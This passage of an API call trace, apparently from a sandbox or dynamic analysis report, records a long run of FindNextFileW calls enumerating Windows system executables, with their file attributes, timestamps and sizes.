lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="find.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ftp.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="FXSSVC.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb688d32a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="FXSUNATD.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6488e076, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6488e076, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="getmac.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7681298b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7681298b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="GettingStarted.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ff85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4782ff85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="gpresult.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c074bde, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3c074bde, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="gpscript.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e45c85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x49e45c85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe32b6980, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="gpupdate.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b548d16, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7b548d16, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3329570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="grpconv.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe340ed50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="hdwwiz.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe36230f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="help.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f15891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x83f15891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3943d70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="HOSTNAME.EXE", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589b8874, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x589b8874, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3968760, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="hwrcomp.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d5f74d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x57d5f74d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3a02450, 